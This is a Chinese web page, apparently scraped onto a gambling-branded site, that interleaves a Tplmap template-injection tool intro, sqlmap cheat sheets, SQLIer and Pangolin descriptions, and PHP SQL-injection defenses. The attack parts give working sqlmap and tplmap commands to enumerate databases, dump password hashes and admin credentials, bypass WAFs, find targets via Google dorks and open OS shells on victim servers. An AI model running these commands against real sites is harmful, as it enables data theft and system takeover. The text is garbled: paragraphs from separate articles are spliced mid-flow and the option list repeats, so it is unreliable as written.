快捷搜索:

您的位置:金莎娱乐 > 互联网 > 商议PHP网址的防SQL注入,注入神器sqlmap

商议PHP网址的防SQL注入,注入神器sqlmap

发布时间:2019-10-01 16:58编辑:互联网浏览(109)

    原标题:Tplmap - 扫描服务器端模板注入漏洞的开源工具

    1、查询数据

     

    谈谈PHP网站的防SQL注入,谈谈phpsql注入

    SQL(Structured Query Language)即结构化查询语言。SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页面请求参数的查询字符串中,在 Web表单向 Web 服务器提交 GET 或 POST 请求时,如果服务器端未严格验证参数的有效性和合法性,将导致数据库服务器执行恶意的 SQL 命令。

    SQL 注入攻击的过程:

    (1)判断 Web 应用是否可以进行 SQL 注入。

    (2)寻找 SQL 注入点。

    (3)猜解用户名和密码。

    (4)寻找 Web 系统管理后台入口。

    (5)实施入侵和破坏。

    Tplmap是一个python工具,可以通过使用沙箱转义技术找到代码注入和服务器端模板注入(SSTI)漏洞。该工具能够在许多模板引擎中利用SSTI来访问目标文件或操作系统。一些受支持的模板引擎包括PHP(代码评估),Ruby(代码评估),Jave(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具可以执行对这些模板引擎的盲注入,并具有执行远程命令的能力。

    ./sqlmap.py -u “ sqlmap 提示 do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n]  选 y

    Sqlmap:

    • 一般注入流程:
    • sqlmap -u "www.ONDragon.com/ONDragon?id=1" --dbs   查看所有数据库

      sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-db 查看当前数据库
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" --user       查看数据库用户名
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-user  查看当前用户名 
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" --is-dba     判断权限
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" –privileges  判断权限
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" --passwords  枚举密码哈希
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" --tables -D database'name    获取数据库的表名
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name --columns   获取数据库对应表的字段
      
      sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name -C column'name --dump  获取数据库对应表的字段的值   --dump-all  获取所有内容
      
    • -u (get型注入)

      sqlmap -u "www.ONDragon.com/?ONDragon=1"

    • --data (post型注入)

      sqlmap -u "www.ONDragon.com/ONDragon" --data="user=admin&pass=pass" sqlmap -r requests.txt 读取http包进行自动post注入(也可以进去http头部的任意地方注入,只要在注入地方加入 * 即可) sqlmap "www.ONDragon.com" --forms

    • --coockie (cookie注入)

      sqlmap -u "www.ONDragon.com/ONDragon" --cookie="user=admin&pass=pass" --level 2 (level 大于2就行)

    • --batch (自动选择sqlmap默认选项)

    • -p  (参数选择)

      sqlmap -u "www.ONDragon.com" --forms -p admin

    1.ACCESS数据库:

    sqlmap.py -u “url” /*-u为常规扫描参数*/

    sqlmap.py -u “url” –tables /*–tables拆数据库表*/

    sqlmap.py -u “url” –columns -T “要拆的表名”/*列出指定表名*/

    sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆解字段名会保存在sqlmap/output目录下*/

    2.MYSQL数据库:

    sqlmap.py -u “url” /*扫描注入点*/

    sqlmap.py -u “url” –dbs /*列出所有数据库*/

    sqlmap.py -u “url” –current-db /*列出当前数据库*/

    sqlmap.py -u “url” –current-user /*列出当前用户*/

    sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

    sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

    sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

    3.SQLSERVER数据库:

    sqlmap.py -u “url” /*扫描注入点*/

    sqlmap.py -u “url” –dbs /*列出所有数据库*/

    sqlmap.py -u “url” –current-db /*列出当前数据库*/

    sqlmap.py -u “url” –current-user /*列出当前用户*/

    sqlmap.py -u “url” –tables -D “当前数据库名” /*拆解当前数据库表*/

    sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数据库名” /*拆解指定表字段名*/

    sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

    SQLSERVER操作和MYSQL是一样的!!!常见的几种数据库!!!

    4.COOKIE注入:

    sqlmap.py -u “www.xxx.com/asp或者www.xxx.com/php” –cookie “参数名如id=1” –level 2/*level为提升权限*/

    什么数据库就按照上面的数据库加上cookie语句拆解就行了

    5.POST注入:

    抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的文件名”

    sqlmap.py -u “url” –data “POST参数”

    6.执行shell命令:

    sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/

    sqlmap.py -u “url” –os-shell /*系统交互的shell*/

    7.注入HTTP请求 :

    sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*/

    8.绕过WAF的tamper插件使用:

    sqlmap.py -u “url” –tamper “xxx.py”

    sqlmap.py -u “url” –tamper=”xxx.py”

    关于tamper脚本详细说明在本博客中有,链接为:

    9.将注入语句插入到指定位置:

    sqlmap.py -u “url(www.xxx.com/id/1*.html)” –dbs

    有些网站是采用伪静态的页面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用于伪静态注入。

    在使用HTTP注入时使用-r参数也可以直接在文本中添加*号

    10.延时注入:

    sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/

    sqlmap –dbs -u “url” –safe-freq /*请求2次*/

    11.使用谷歌语法搜索注入(Google hack):

    sqlmap.py -g “inurl:asp?id=1” /*””内为搜索语法,如:inurl,intitle,site,filetype等等。


    Options(选项):

    –version 显示程序的版本号并退出

    -h, –help 显示此帮助消息并退出

    -v VERBOSE 详细级别:0-6(默认为1)

    Target(目标):

    以下至少需要设置其中一个选项,设置目标URL。

    -d DIRECT 直接连接到数据库。

    -u URL, –url=URL 目标URL。

    -l LIST 从Burp或WebScarab代理的日志中解析目标。

    -r REQUESTFILE 从一个文件中载入HTTP请求。

    -g GOOGLEDORK 处理Google dork的结果作为目标URL。

    -c CONFIGFILE 从INI配置文件中加载选项。

    Request(请求):

    这些选项可以用来指定如何连接到目标URL。

    –data=DATA 通过POST发送的数据字符串

    –cookie=COOKIE HTTP Cookie头

    –cookie-urlencode URL 编码生成的cookie注入

    –drop-set-cookie 忽略响应的Set – Cookie头信息

    –user-agent=AGENT 指定 HTTP User – Agent头

    –random-agent 使用随机选定的HTTP User – Agent头

    –referer=REFERER 指定 HTTP Referer头

    –headers=HEADERS 换行分开,加入其他的HTTP头

    –auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

    –auth-cred=ACRED HTTP身份验证凭据(用户名:密码)

    –auth-cert=ACERT HTTP认证证书(key_file,cert_file)

    –proxy=PROXY 使用HTTP代理连接到目标URL

    –proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)

    –ignore-proxy 忽略系统默认的HTTP代理

    –delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒

    –timeout=TIMEOUT 等待连接超时的时间(默认为30秒)

    –retries=RETRIES 连接超时后重新连接的时间(默认3)

    –scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式

    –safe-url=SAFURL 在测试过程中经常访问的url地址

    –safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL

    Optimization(优化):

    这些选项可用于优化SqlMap的性能。

    -o 开启所有优化开关

    –predict-output 预测常见的查询输出

    –keep-alive 使用持久的HTTP(S)连接

    –null-connection 从没有实际的HTTP响应体中检索页面长度

    –threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

    Injection(注入):

    这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

    -p TESTPARAMETER 可测试的参数(S)

    –dbms=DBMS 强制后端的DBMS为此值

    –os=OS 强制后端的DBMS操作系统为这个值

    –prefix=PREFIX 注入payload字符串前缀

    –suffix=SUFFIX 注入payload字符串后缀

    –tamper=TAMPER 使用给定的脚本(S)篡改注入数据

    Detection(检测):

    这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

    –level=LEVEL 执行测试的等级(1-5,默认为1)

    –risk=RISK 执行测试的风险(0-3,默认为1)

    –string=STRING 查询时有效时在页面匹配字符串

    –regexp=REGEXP 查询时有效时在页面匹配正则表达式

    –text-only 仅基于在文本内容比较网页

    Techniques(技巧):

    这些选项可用于调整具体的SQL注入测试。

    –technique=TECH SQL注入技术测试(默认BEUST)

    –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

    –union-cols=UCOLS 定列范围用于测试UNION查询注入

    –union-char=UCHAR 用于暴力猜解列数的字符

    Fingerprint(指纹):

    -f, –fingerprint 执行检查广泛的DBMS版本指纹

    Enumeration(枚举):

    这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己

    的SQL语句。

    -b, –banner 检索数据库管理系统的标识

    –current-user 检索数据库管理系统当前用户

    –current-db 检索数据库管理系统当前数据库

    –is-dba 检测DBMS当前用户是否DBA

    –users 枚举数据库管理系统用户

    –passwords 枚举数据库管理系统用户密码哈希

    –privileges 枚举数据库管理系统用户的权限

    –roles 枚举数据库管理系统用户的角色

    –dbs 枚举数据库管理系统数据库

    –tables 枚举的DBMS数据库中的表

    –columns 枚举DBMS数据库表列

    –dump 转储数据库管理系统的数据库中的表项

    –dump-all 转储所有的DBMS数据库表中的条目

    –search 搜索列(S),表(S)和/或数据库名称(S)

    -D DB 要进行枚举的数据库名

    -T TBL 要进行枚举的数据库表

    -C COL 要进行枚举的数据库列

    -U USER 用来进行枚举的数据库用户

    –exclude-sysdbs 枚举表时排除系统数据库

    –start=LIMITSTART 第一个查询输出进入检索

    –stop=LIMITSTOP 最后查询的输出进入检索

    –first=FIRSTCHAR 第一个查询输出字的字符检索

    –last=LASTCHAR 最后查询的输出字字符检索

    –sql-query=QUERY 要执行的SQL语句

    –sql-shell 提示交互式SQL的shell

    Brute force(蛮力):

    这些选项可以被用来运行蛮力检查。

    –common-tables 检查存在共同表

    –common-columns 检查存在共同列

    User-defined function injection(用户自定义函数注入):

    这些选项可以用来创建用户自定义函数。

    –udf-inject 注入用户自定义函数

    –shared-lib=SHLIB 共享库的本地路径

    File system access(访问文件系统):

    这些选项可以被用来访问后端数据库管理系统的底层文件系统。

    –file-read=RFILE 从后端的数据库管理系统文件系统读取文件

    –file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

    –file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

    Operating system access(操作系统访问):

    这些选项可以用于访问后端数据库管理系统的底层操作系统。

     

    –os-cmd=OSCMD 执行操作系统命令

    –os-shell 交互式的操作系统的shell

    –os-pwn 获取一个OOB shell,meterpreter或VNC

    –os-smbrelay 一键获取一个OOB shell,meterpreter或VNC

    –os-bof 存储过程缓冲区溢出利用

    –priv-esc 数据库进程用户权限提升

    –msf-path=MSFPATH Metasploit Framework本地的安装路径

    –tmp-path=TMPPATH 远程临时文件目录的绝对路径

    Windows注册表访问:

    这些选项可以被用来访问后端数据库管理系统Windows注册表。

    –reg-read 读一个Windows注册表项值

    –reg-add 写一个Windows注册表项值数据

    –reg-del 删除Windows注册表键值

    –reg-key=REGKEY Windows注册表键

    –reg-value=REGVAL Windows注册表项值

    –reg-data=REGDATA Windows注册表键值数据

    –reg-type=REGTYPE Windows注册表项值类型

    General(一般):

    这些选项可以用来设置一些一般的工作参数。

    -t TRAFFICFILE 记录所有HTTP流量到一个文本文件中

    -s SESSIONFILE 保存和恢复检索会话文件的所有数据

    –flush-session 刷新当前目标的会话文件

    –fresh-queries 忽略在会话文件中存储的查询结果

    –eta 显示每个输出的预计到达时间

    –update 更新SqlMap

    –save file保存选项到INI配置文件

    –batch 从不询问用户输入,使用所有默认配置。

    Miscellaneous(杂项):

    –beep 发现SQL注入时提醒

    –check-payload IDS对注入payloads的检测测试

    –cleanup SqlMap具体的UDF和表清理DBMS

    –forms 对目标URL的解析和测试形式

    –gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果

    –page-rank Google dork结果显示网页排名(PR)

    –parse-errors 从响应页面解析数据库管理系统的错误消息

    –replicate 复制转储的数据到一个sqlite3数据库

    –tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址

    –wizard 给初级用户的简单向导界面

    一、     SQL注入漏洞测试工具

    安装Tplmap

    提示参数 id 有漏洞,是否要保持其它测试,按 y 回车确定 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

    1.    Sqlmap

    Sqlmap 是一个自动化的 SQL 注入工具, 其主要功能是扫描,发现并利用给定的 URL 的 SQL 注入漏洞,日前支持的数据库是MS SQL Server, MySQL, oracle 和 postgresql。 SQLMAP 采用四种独特的 SQL 注入技术,分别是盲推理 SQL 注入, UNION 查询 SQL 注入,堆查询和基于时间的 SQL 盲注入。其广泛的功能和选项包括数据库指纹,枚举, 数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

    1.1      sqlmap 常用命令介绍

    Target(目标):至少需要设置其中一个选项,设置目标 URL。

    -d DIRECT 直接连接到数据库。

    -u URL,--url=URL 目标 URL。

    Request(请求):这些选项可以用来指定如何连接到目标 URL。

    ――data=DATA 通过 POST 发送的数据字符串。

    ――cookie=COOKIE HTTP Cookie 头。

    Optimization(优化):这些选项可用于优化 sqlmap 的性能。

    -o 开户所有优化开关

    --threads=THREADS 最大的 HTTP( S)请求并发量(默认为 1)。

    Injection(注入):这些选项可以用来指定测试哪些参数。

    -p TESTPARAMETER 可测试的参数。

    --prefix=PREFIX 注入 payload 字符串前缀。

    图片 1

    获取所有数据库名 因为已经知道数据库名为微软的 sql server,为了加快检测速度,指定数据库参数 --dbms=mssql ./sqlmap.py -u "" --dbms=mssql --dbs

    2     SQLIer

    SQLIer可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。通过这种方法,它可以生成一个UNION SELECT查询,进而可以强力攻击数据库口令。这个程序在利用漏洞时并不使用引号,这意味着它可适应多种网站。  

    SQLIer通过“true/false” SQL注入漏洞强力口令。借助于“true/false” SQL注入漏洞强力口令,用户是无法从数据库查询数据的,只能查询一个可返回“true”、“false”值的语句。  

    据统计,一个八个字符的口令(包括十进制ASCII代码的任何字符)仅需要大约1分钟即可破解。

    2.1      其使用语法如下,sqlier [选项] [URL]

    其选项如下: 

    -c :[主机] 清除主机的漏洞利用信息 

    -s :[秒]在网页请求之间等待的秒数  

    -u:[用户名]从数据库中强力攻击的用户名,用逗号隔开

    -w:[选项]将[选项]交由wget

    此外,此程序还支持猜测字段名,有如下几种选择:  

    --table-names [表格名称]:可进行猜测的表格名称,用逗号隔开

    --user-fields[用户字段]:可进行猜测的用户名字段名称,用逗号隔开

    --pass-fields [口令字段]:可进行猜测的口令字段名称,用逗号隔开

    可以通过使用以下github链接从github存储库克隆该工具来安装Tplmap。

    当前网页连接数据库名 ./sqlmap.py -u "" --dbms=mssql --current-db

    3     Pangolin

    Pangolin是一款帮助渗透测试人员进行SQL注入(SQL Injeciton)测试的安全工具。Pangolin与JSky(Web应用安全漏洞扫描器、Web应用安全评估工具)都是NOSEC公司的产品。Pangolin具备友好的图形界面以及支持测试几乎所有数据库(Access、MSSql、MySql、Oracle、Informix、DB2、Sybase、PostgreSQL、Sqlite)。Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。Pangolin是目前国内使用率最高的SQL注入测试的安全软件。

    git clone

    指定数据库所有表 ./sqlmap.py -u "" --dbms=mssql --table -D "testdb"

    二、     防范SQL注入攻击

    成功安装后,将目录路径更改为tplmap安装文件以启动tplmap.py。

    读取指定表中的字段名 ./sqlmap.py -u "" --dbms=mssql -D "testdb" -T "admin" --columns

    1.    对输入的数据进行过滤(过滤输入)

    a)      对于动态构造SQL查询的场合,可以使用替换字符和删除特殊字符的方法。

    b)     检查用户输入的合法性,防止非法数据输入。数据检查应当在客户端和服务器端执行。执行服务器端验证,是为了弥补客户端验证机制的不足。

    c)      限制表单或查询字符串输入的长度范围。

    d)     加密用户登录名称、 密码等数据。

    测试Web应用程序中的漏洞

    读取指定字段内容 ./sqlmap.py -u "" --dbms=mssql -D "testdb" -T "admin" --dump -C "username,password"

    2.    对发送到数据库的数据进行转义(转义输出)

    尽量使用为自定义数据库设计的转义函数。如果没有,使用函数addslashes()是比较好的方法,对字符串型参数使用mysql_real_escape_string函数、对数字型参数使用intval,floatval函数强制过滤则更好。当所有用于建立一个 SQL 语句的数据被正确过滤和转义时,实际上也就避免了 SQL注入的风险。

    Tplmap不仅利用了文件系统的漏洞,而且还具有使用不同参数访问底层操作系统的能力。以下屏幕截图显示了可用于访问操作系统的不同参数选项

    2、执行系统命令

    3.    参数化查询

    参数化查询(Parameterized Query)指的是 Web 程序在实施数据库查询时,在需提交数值或数据的地方避免直接赋值,而是采用参数来传递给值。

    使用参数化查询技术,数据库服务器不会将参数的内容视为 SQL 指令的一个组成部分来处理,在数据库系统完成对 SQL 指令的编译后,再载入参数运行。因此,即使参数中含有指令,也不会被数据库编译运行。

    图片 2

    ./sqlmap.py -u "" --dbms=mssql --os-shell --threads=10

    4.    使用存储过程

    存储过程存储在数据库系统内部, Web 应用程序通过调用来执行存储过程, 该技术允许用户定义变量、有条件执行以及其它丰富的编程功能。程序开发者利用存储过程事先构建好的 SQL 查询语句代码,然后在使用中通过参数传输数值。存储过程在使用时起到三点安全作用:首先,存储过程执行前要进行预编译,编译出错不予执行;其次,对于数据的授权访问是基于存储过程而不是直接访问基本表,攻击者无法探测到 select 语句;最后,存储过程可以指定和验证用户提供的值类型。

    但是,存储过程也存在一定的局限,如果存储过程中执行的命令是拼接字符串,则会存在被注入攻击的隐患。此外,存储过程并不支持所有的数据库平台。

    以下命令可用于测试目标URL中的易受攻击的参数。

    3、常见参数

    5.    使用PDO连接数据库

    防止SQL注入最好的方法就是不要自己设置SQL 命令和参数,而是用PDO的prepare和bind,原理就在于要把SQL查询命令和传递的参数分开。使用prepare的时候,DB server会把SQL语句解析成SQL命令。使用bind的时候,只是动态传递DB Server解析好的 SQL 命令。

    ./tplmap.py -u <'目标网址'>

    注入点 HTTP 指定请求方法检测 POST --data="password=88952634&rem=on&username=88952634"

    三、     总结

    除了以上介绍的防范SQL注入攻击方法之外,还有URL重置技术、页面静态化、屏蔽出错信息、使用web应用防火墙等措施。通过以上措施,SQL注入才能防患于未然。

    SQL(Structured Query Language)即结构化查询语言。SQL 注入,就是把 SQL 命令插入到 Web 表单的输入域或页...

    执行该命令后,该工具会针对多个插件测试目标URL以查找代码注入机会。

    Cookie --cookie "cookie value" 登录检测

    图片 3

    注入查询数据技术 --technique=U  指定 Union 技术

    如果发现漏洞,该工具将输出有关目标中可能注入点的详细信息。这些包括GET参数值(无论是id还是名称),模板引擎(例如Tornado),OS(例如Linux)和注入技术(例如渲染,盲)。

    注入 HTTP 所有方法注入检测 --level3  检测 HTTP 方法深度,GET、POST、Cookie、User-agent 和 Referer

    图片 4

    Base64 编码 url 注入点 sqlmap -u --tamper base64encode.py

    对于易受攻击的目标操作系统,可以使用前面提到的其中一个参数重新运行tplmap命令。例如,我们可以通过以下方式将-os -shell选项与tplmap命令一起使用。

    检测 DBMS 当前用户是否 DBA(注入点执行操作系统命令一般需要 DBA 权限) --is-dba

    ./tplmap.py --os-shell -u <'目标网址'>

    从不询问用户输入,使用所有默认配置 --batch

    -os -shell选项在目标操作系统上启动伪终端以执行所需的代码。

    默认最大线程数为 10 --threads=10

    文章出处:latesthackingnews返回搜狐,查看更多

    1. #HiRoot's Blog  

    责任编辑:

     2. Options(选项):  

     3. --version 显示程序的版本号并退出 

     4. -h, --help 显示此帮助消息并退出

      5. -v VERBOSE 详细级别:0-6(默认为 1)

    6.    7. Target(目标): 

     8. 以下至少需要设置其中一个选项,设置目标 URL。

    9.   

     10. -d DIRECT 直接连接到数据库。 

     11. -u URL, --url=URL 目标 URL。 

     12. -l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。

      13. -r REQUESTFILE 从一个文件中载入 HTTP 请求。 

     14. -g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。

      15. -c CONFIGFILE 从 INI 配置文件中加载选项。

    16.    

    1. Request(请求)

    2. 这些选项可以用来指定如何连接到目标 URL。

    19.   

     20. --data=DATA 通过 POST 发送的数据字符串  

    1. --cookie=COOKIE HTTP Cookie 头 

     22. --cookie-urlencode URL 编码生成的 cookie 注入 

     23. --drop-set-cookie 忽略响应的 Set - Cookie 头信息 

     24. --user-agent=AGENT 指定 HTTP User - Agent 头 

     25. --random-agent 使用随机选定的 HTTP User - Agent 头

      26. --referer=REFERER 指定 HTTP Referer 头  

    1. --headers=HEADERS 换行分开,加入其他的 HTTP 头

      28. --auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)

    (Basic, Digest or NTLM) 

     29. --auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)

      30. --auth-cert=ACERT HTTP 认证证书(key_file,cert_file)

      31. --proxy=PROXY 使用 HTTP 代理连接到目标 URL

    1. --proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码) 

     33. --ignore-proxy 忽略系统默认的 HTTP 代理 

     34. --delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒 

     35. --timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒) 

     36. --retries=RETRIES 连接超时后重新连接的时间(默认 3)

      37. --scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式 

     38. --safe-url=SAFURL 在测试过程中经常访问的 url 地址  

    1. --safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL

    40.    41. Optimization(优化):

      42. 这些选项可用于优化 SqlMap 的性能。

    43.   

     44. -o 开启所有优化开关  

     45. --predict-output 预测常见的查询输出

      46. --keep-alive 使用持久的 HTTP(S)连接 

     47. --null-connection 从没有实际的 HTTP 响应体中检索页面长度 

     48. --threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)

    49.    50. Injection(注入):  

     51. 这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚 本。

    52.   

     53. -p TESTPARAMETER 可测试的参数(S)  

    1. --dbms=DBMS 强制后端的 DBMS 为此值 

     55. --os=OS 强制后端的 DBMS 操作系统为这个值

    1. --prefix=PREFIX 注入 payload 字符串前缀 

     57. --suffix=SUFFIX 注入 payload 字符串后缀  

    1. --tamper=TAMPER 使用给定的脚本(S)篡改注入数据

    59.    60. Detection(检测): 

     61. 这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。

    62.   

     63. --level=LEVEL 执行测试的等级(1-5,默认为 1)

      64. --risk=RISK 执行测试的风险(0-3,默认为 1)

     65. --string=STRING 查询时有效时在页面匹配字符串

    1. --regexp=REGEXP 查询时有效时在页面匹配正则表达式 

     67. --text-only 仅基于在文本内容比较网页

    68.    69. Techniques(技巧):  

     70. 这些选项可用于调整具体的 SQL 注入测试。

    71.    72. --technique=TECH SQL 注入技术测试(默认 BEUST) 

     73. --time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒) 

     74. --union-cols=UCOLS 定列范围用于测试 UNION 查询注入  

    1. --union-char=UCHAR 用于暴力猜解列数的字符

    76.    77. Fingerprint(指纹): 

     78. -f, --fingerprint 执行检查广泛的 DBMS 版本指纹

    79.    80. Enumeration(枚举):

      81. 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您 还可以运行您自己

    1. 的 SQL 语句。 

     83. -b, --banner 检索数据库管理系统的标识 

     84. --current-user 检索数据库管理系统当前用户 

     85. --current-db 检索数据库管理系统当前数据库 

     86. --is-dba 检测 DBMS 当前用户是否 DBA 

     87. --users 枚举数据库管理系统用户

      88. --passwords 枚举数据库管理系统用户密码哈希 

     89. --privileges 枚举数据库管理系统用户的权限 

     90. --roles 枚举数据库管理系统用户的角色 

     91. --dbs 枚举数据库管理系统数据库  

     92. --tables 枚举的 DBMS 数据库中的表 

     93. --columns 枚举 DBMS 数据库表列 

     94. --dump 转储数据库管理系统的数据库中的表项  

    1. --dump-all 转储所有的 DBMS 数据库表中的条目 

     96. --search 搜索列(S),表(S)和/或数据库名称(S)

      97. -D DB 要进行枚举的数据库名  

     98. -T TBL 要进行枚举的数据库表  

     99. -C COL 要进行枚举的数据库列

    1. -U USER 用来进行枚举的数据库用户  

    2. --exclude-sysdbs 枚举表时排除系统数据库  

    3. --start=LIMITSTART 第一个查询输出进入检索  

    4. --stop=LIMITSTOP 最后查询的输出进入检索  

    5. --first=FIRSTCHAR 第一个查询输出字的字符检索  

    6. --last=LASTCHAR 最后查询的输出字字符检索  

     106. --sql-query=QUERY 要执行的 SQL 语句 

     107. --sql-shell 提示交互式 SQL 的 shell

    108.    109. Brute force(蛮力):  

     110. 这些选项可以被用来运行蛮力检查。

    111.    112. --common-tables 检查存在共同表  

     113. --common-columns 检查存在共同列

    114.    115. User-defined function injection(用户自定义函数注入):

    1. 这些选项可以用来创建用户自定义函数。

    117.    118. --udf-inject 注入用户自定义函数  

     119. --shared-lib=SHLIB 共享库的本地路径

    120.    121. File system access(访问文件系统): 

     122. 这些选项可以被用来访问后端数据库管理系统的底层文件系统。

    123.    124. --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 

    1. --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 
    2. --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

    127.    128. Operating system access(操作系统访问): 

     129. 这些选项可以用于访问后端数据库管理系统的底层操作系统。

    130.    131. --os-cmd=OSCMD 执行操作系统命令  

     132. --os-shell 交互式的操作系统的 shell  

     133. --os-pwn 获取一个 OOB shell,meterpreter 或 VNC  

    1. --os-smbrelay 一键获取一个 OOB shell,meterpreter 或 VNC

    2. --os-bof 存储过程缓冲区溢出利用  

     136. --priv-esc 数据库进程用户权限提升  

     137. --msf-path=MSFPATH Metasploit Framework 本地的安装路径  

    1. --tmp-path=TMPPATH 远程临时文件目录的绝对路径

    139.    140. Windows 注册表访问: 

     141. 这些选项可以被用来访问后端数据库管理系统 Windows 注册表。

    142.    143. --reg-read 读一个 Windows 注册表项值 

    1. --reg-add 写一个 Windows 注册表项值数据  

    2. --reg-del 删除 Windows 注册表键值 

     146. --reg-key=REGKEY Windows 注册表键  

    1. --reg-value=REGVAL Windows 注册表项值  

    2. --reg-data=REGDATA Windows 注册表键值数据  

     149. --reg-type=REGTYPE Windows 注册表项值类型

    150.    151. General(一般):

    152.    153. 这些选项可以用来设置一些一般的工作参数。 

    1. -t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中 

     155. -s SESSIONFILE 保存和恢复检索会话文件的所有数据  

    1. --flush-session 刷新当前目标的会话文件 

     157. --fresh-queries 忽略在会话文件中存储的查询结果  

    1. --eta 显示每个输出的预计到达时间  

     159. --update 更新 SqlMap  160. --save file 保存选项到 INI 配置文件 

     161. --batch 从不询问用户输入,使用所有默认配置。

    162.    163. Miscellaneous(杂项): 

     164. --beep 发现 SQL 注入时提醒

      165. --check-payload IDS 对注入 payloads 的检测测试  

     166. --cleanup SqlMap 具体的 UDF 和表清理 DBMS  

    1. --forms 对目标 URL 的解析和测试形式 

     168. --gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果  

     169. --page-rank Google dork 结果显示网页排名(PR)

    1. --parse-errors 从响应页面解析数据库管理系统的错误消息

      171. --replicate 复制转储的数据到一个 sqlite3 数据库  

     172. --tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址  

    1. --wizard 给初级用户的简单向导界面

    本文由金莎娱乐发布于互联网,转载请注明出处:商议PHP网址的防SQL注入,注入神器sqlmap

    关键词: